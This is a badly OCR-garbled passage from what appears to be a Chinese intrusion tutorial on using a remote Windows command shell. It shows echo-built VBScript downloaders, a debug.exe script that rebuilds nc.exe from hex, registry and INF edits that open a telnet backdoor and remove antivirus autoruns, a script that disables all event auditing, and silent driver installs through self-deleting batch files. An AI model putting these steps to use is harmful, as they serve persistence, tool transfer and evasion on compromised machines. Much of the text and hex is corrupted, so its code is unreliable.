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Windows
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Cmd Shell( )
Windows

cmd shell
ipc$ 139 445
ipc$

1 Echo ASP
s
ASP “ "
echo

@echo ”~ >up.asp

up.asp

with wscript
if .arguments.count>dl.vbs

WinXP ipc$
ftp tftp

echo

@echo w.open "get",.arguments(0),0:w.send:if w.status">200 then .echo

"Error:"+w.status:.quit>>dl.vbs

@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end

with >>dl.vbs

—_— ps.exe c:\path




cscript dl.vbshttp://www.sometips.com/soft/ps.exe c:\path\ps.exe

shell
4 Echo +debug
Web

echo X ASCII 128 128
base64 email vbs X

ADODB.Stream

midb
vbs js
debug.exe

fp=wscript.arguments(0)

fn=right(fp,len(fp)-instrrev(fp,"\"))

with createobject("adodb.stream")

.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)

end with

sli=sl mod 65536:slh=sI\65536

with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""

fori=1to sl

bt=ascb(midb(str,i,1))

if bt>debug.vbs"+vbcrif+"@echo +""

next

.writeline "">>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf'_
+"for i=1 to len(str) step 48:.write ""e""'+hex(256+(i-1)/2)"_

+":for j=i to i+46 step 2:.write " ""+mid(str,j,2):next:.write r:next>>debug.vbs"

.writeline "@echo .write "'rbx""+r+""+hex(slh)+""+r+""rcx""+r+"""+hex(sll)_

+""r+"'n debug.tmp™+r+"" W+ g +riend with”

end with
echo.vbs nc.exe

cscript echo.vbs nc.exe

nc.exe.bat

@echo str="4D5A90000300000004000000FFFF0000B80000000000
0000400000000000000000000000000000000000000000000
000000000000000000000000000800000000E1FBAOEOOB409
CD21B8014CCD21546869732070726F6772616D2063616E6E6
F742062652072756E20696E20444F53206D6F64652E0DODOA
2400000000000000"_>>debug.vbs

@echo +"504500004C010400B98EAE340000000000000000EO000F0
10B010500009800000062000000000000004C000000100000
00B0000000004000001000000002000004000000000000000
4000000000000000030010000040000000000000300000000
0010000010000000001000001000000000000010000000000
0000000000000"_>>debug.vbs

@echo +"002001003C0000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000A02101006401000000
00000000000000000000000000000000000000000000002E7
4657874000000"_>>debug.vbs

@echo +"70970000001000000098000000040000000000000000000
000000000200000602E726461746100001704000000B00000
00060000009C0000000000000000000000000000400000402
E646174610000004452000000C00000003EO000000A2000000

Web



0000000000000000000000400000C02E696461746100005C0O
7000000200100"_>>debug.vbs

@echo +"">>debug.vbs

@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for
j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs

@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end
with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp
"NC.EXE"&del debug.vbs
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1 shell
100KB
2 “ " 16 ntvdm.exe
ntvdm
3 cmd shell nc.exe.bat
4 echo nc
cmd shell shell "I mod
128=0" 128 echo echo 2
5

X Windows
Windows

shell
/ regedit.exe

type

C:\>regedit /e 1.reg
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp"

C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d

C:\>del 1.reg
3389 d3d

2 /
echo reg

echo Windows Registry Editor Version 5.00 >1.reg

echo. >>1.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg

echo "NTLM"=dword:00000001 >>1.reg

echo. >>1.reg

regedit /s 1.reg

telnet 2323 913 NTLM 1

[(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]



"KAVRun"=-

3 inf
X inf

[Version]

Signature="$WINDOWS NT$"

[Defaultinstall]

AddReg=My_AddReg_Name

DelReg=My_DelReg_Name

[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun

c:\path\reg.inf

rundll32.exe setupapi,InstallHinfSection Defaultinstall 128 c:\path\reg.inf

1 [Version] [Defaultinstall] AddReg DelReg
My_AddReg_Name My_DelReg_Name
0x00010001 REG_DWORD 0x00000000 ( ) REG_SZ
( ) 0x00020000 REG_EXPAND_SZ 2323 0x913
inf DDK
2 InstallHinfSection setupapi 128
MSDN inf
3 inf
net
SC instsrv.exe xnet.exe XP 2003 SQC)
inf
[Version]
Signature="$WINDOWS NT$"
[Defaultinstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description= Internet
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
inetsvr.inf
rundll32.exe setupapi,InstallHinfSection Defaultinstall 128 c:\path\inetsvr.inf
inetsvr
1
0x10 0x20 svchost
0 10S 2 SCM™M
3 4
01
0 1 2 LastknownGood 3
%11% system32 %10% (WINNT Windows) %

12% system32\drivers DDK



2 LoadOrderGroup Dependencies

3 inetsvr flags

[Version]
Signature="$WINDOWS NT$"
[Defaultinstall.Services]
DelService=inetsvr

inf
1
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5¢,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5¢,00,74,\
00,6¢,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
%SystemRoot%\system32\tintsvr.exe

REG_EXPAND_SZ ImagePath
inf ServiceBinary ImagePath

REG_EXPAND_SZ

2 SC inf reg

3 inf Security

AddService DelService AddReg DelReg
DDK

Windows Windows
gpedit.msc secedit.exe

secedit
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5

secedit /refreshpolicy  XP/2003 gpupdate

reg ( inf)
(sdb)

[version]
signature="$CHICAGOS$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

gp.inf

secedit /configure /db gp.sdb /cfg gp.inf /quiet

gp.sdb p »
/quiet “ ” 2000sp4

XP %windir%\security\logs\scesrv.log

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*



secedit /validate gp.inf

MSDN
%windir%\security\templates

”

echo

echo [version] >1.inf

echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf

echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf

echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

regsnap

XP 2003 “ " “ " “
" XP “ " XP ipc$
Guest reg

echo Windows Registry Editor Version 5.00 >1.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg

regedit /s 1.reg

del 1.reg

inf

echo [version] >1.inf

echo signature="$CHICAGO$" >>1.inf

echo [Registry Values] >>1.inf

echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log

del 1.*

%windir%\security\database\secedit.sdb inf

secedit /export /cfg gp.inf /log 1.log

/db gp.inf
“ Windows "
“ " inf
NewAdministratorName="***"
XP 2003 —_—
XP 2003 RSoP gpresult

inf secedit /analyze



Windows
ftp, tftp, netstat

netsh
netsh

shell netsh

netsh -f flename

ping, tracert, ipconfig, telnet,
nbtstat, pathping, nslookup, finger, route, netsh
ping telnet

shell
ftp
ftp -s:filename netsh

netsh IAS DHCP RAS WINS NAT TCP/IP
IPX netsh
1 TCP/IP
echo interface ip >s
echo show config >>s
netsh -f s
del s
IP IP(DHCP) IP
ipconfig /all
remoteaccess
net start remoteaccess
2 ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
dels
arp -a
3 TCP/UDP
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -fs
dels
netstat -an
4
netsh
echo interface ip >s
echo show interface >>s
netsh -f s
del s
netsh IP “
IPSec
IPSec TCP/IP TCP/IP
IPSec IPSec
XP ipseccmd 2000 ipsecpol ipseccmd
Xp SUPPORT\TOOLS\SUPPORT.CAB ipsecpol 2000 Resource Kit
ipsecpol ipsecutil.dll  text2pol.dll
119KB
IPSec MSDN
IPSec IPSec



(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local)
IPSec

ipsecpol ipseccmd

IPSec ipseccmd ipsecpol ipsecpol

1 rpc-dcom

ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp
*+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

TCP135,139,445 udp135,137,138,445

-p myfirewall myfirewall

-r rpc-dcom rpc-dcom

-f 7 * ()o ( ) + «C )
ipsecpol -?

-n BLOCK X “ " BLOCK

-w reg

-X

2 ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

myfirewall antiping
ping
3 IP

DameWare Mini Remote Control
6129

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -X

123.45.67.89 6129
IP IP

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

123.45.67.1 123.45.67.254 IP 6129

c:\>net start schedule
Task Scheduler
Task Scheduler

c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
ID=1
5 myfw 5

c:\>ipsecpol -p myfw -0 -w reg

180



c:\>ipsecpol -p myfw -x -w reg
IPSec
XP ——ipseccmd show filters
ipsecpol netdiag 2000

SUPPORT\TOOLS\SUPPORT.CAB
netdiag RemoteRegistry
net start remoteregistry

RemoteRegistry

[FATAL] Failed to get system information of this machine.

netdiag
cmd.exe cmd shell more

ipsec
netdiag /debug /test:ipsec

IPSec
/
WinPcap GUI
WinPcap 3.0a
wpcap.dll packet.dll npf.sys
system32 system32\drivers
NPF Win32

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root
SYSTEM
winpcap winpcap

inf

[Version]

Signature="$WINDOWS NT$"
[Defaultinstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1

StartType=3

ErrorControl=1
ServiceBinary=%12%\npf.sys

_wpcap_.inf
_wpcap_.bat

rundll32.exe setupapi,InstallHinfSection Defaultinstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf

if i %CD%==%SYSTEMROOT%\system32 goto COPYDRV

copy packet.dll %SYSTEMROOT%\system32\

copy wpcap.dll %SYSTEMROOT%\system32\

del packet.dll

del wpcap.dll

:COPYDRV

if /i %CD%==%SYSTEMROOT%\system32\drivers goto END

copy npf.sys %SYSTEMROOT%\system32\drivers\



del npf.sys
:END
del %0

winrar 5 exe ->
_wpcap_.bat winpcap

Windows

KB824146.exe -n -z -q

RAR

del %0

Windows
echo

1

@echo for each ps in getobject _ >ps.vbs

@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption®&" "&ps.version:next >>ps.vbs

cscript //nologo ps.vbs & del ps.vbs

2

@echo for each ps in getobject _ >ps.vbs

@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs

@echo wscript.echo ps.handle”&vbtab”&ps.name”&vbtab”&ps.executablepath:next
>>ps.vbs

cscript //nologo ps.vbs & del ps.vbs

3

@echo for each ps in getobject _ >pk.vbs

@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs

@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next
>>pk.vbs

PID 123
cscript pk.vbs 123

0

del pk.vbs
4

@echo for each os in getobject _ >rb.vbs

@echo ("winmgmts:{(shutdown)}\\.\root\cimv2:win32_operatingsystem").instances_
>>rb.vbs

@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

5

@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_
>sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name”&" - ""&sc.pathname >>sc.vbs



@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6

@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_
>sc.vbs

@echo if sc.state="Running" then wscript.echo sc.name”&" - "*&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

7

@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript /nologo bt.vbs & del bt.vbs

yyyymmddHHMMS S*xxzZ77Z

8

@echo for each os in getobject _ >rt.vbs

@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=o0s.timestamp_sys100ns:I=len(s):s=left(s,I-7):for i=1 to I-7 >>rt.vbs

@echo t=t"&mid(s,i,1)=t\86400:r=r"&d:t=t mod 86400:next >>rt.vbs

@echo wscript.echo cint®"&"d ""&t\3600°&"h "&t\60 mod 607&"m "&t mod 60"&"s":next
>>rt.vbs

cscript //nologo rt.vbs & del rt.vbs

64 49.7

cmd shell
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